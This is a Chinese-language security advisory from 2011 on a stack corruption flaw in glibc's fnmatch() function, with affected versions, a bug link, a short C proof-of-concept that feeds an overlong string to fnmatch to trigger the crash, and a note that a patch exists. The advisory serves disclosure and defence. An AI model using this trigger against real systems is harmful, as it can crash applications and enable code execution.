GNU glibc “fnmatch()”函数栈破坏漏洞


GNU glibc "fnmatch()"函数栈破坏漏洞

发布日期:2011-02-25
更新日期:2011-02-25

受影响系统:
GNU glibc 2.x
不受影响系统:
GNU glibc 2.12.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 46563

glibc是绝大多数Linux操作系统中C库的实现。

glibc在实现上存在漏洞,攻击者可利用此漏洞在使用受影响库的系统中执行任意代码,使应用程序崩溃。

漏洞源于"fnmatch()" 函数的实现中存在错误,可通过特制的输入造成栈破坏。

<*来源:Simon Berry-Byrne
 
  链接:http://www.sourceware.org/bugzilla/show_bug.cgi?id=11883
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Simon Berry-Byrne ()提供了如下测试方法:

#include <err.h>
#include <fnmatch.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, const char* argv[]) {
  size_t num_as;
  char* p;
  setlocale(LC_ALL, "en_US.UTF8");
  if (argc < 2) {
    errx(1, "Missing argument.");
  }
  num_as = atoi(argv[1]);
  if (num_as < 5) {
    errx(1, "Need 5.");
  }
  p = malloc(num_as);
  if (!p) {
    errx(1, "malloc() failed.");
  }
  memset(p, 'A', num_as);
  p[num_as - 1] = '\0';
  p[0] = 'f';
  p[1] = 'o';
  p[2] = 'o';
  p[3] = '.';
  fnmatch("*.anim[1-9j]", p, 0);
  return 0;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.gnu.org

相关内容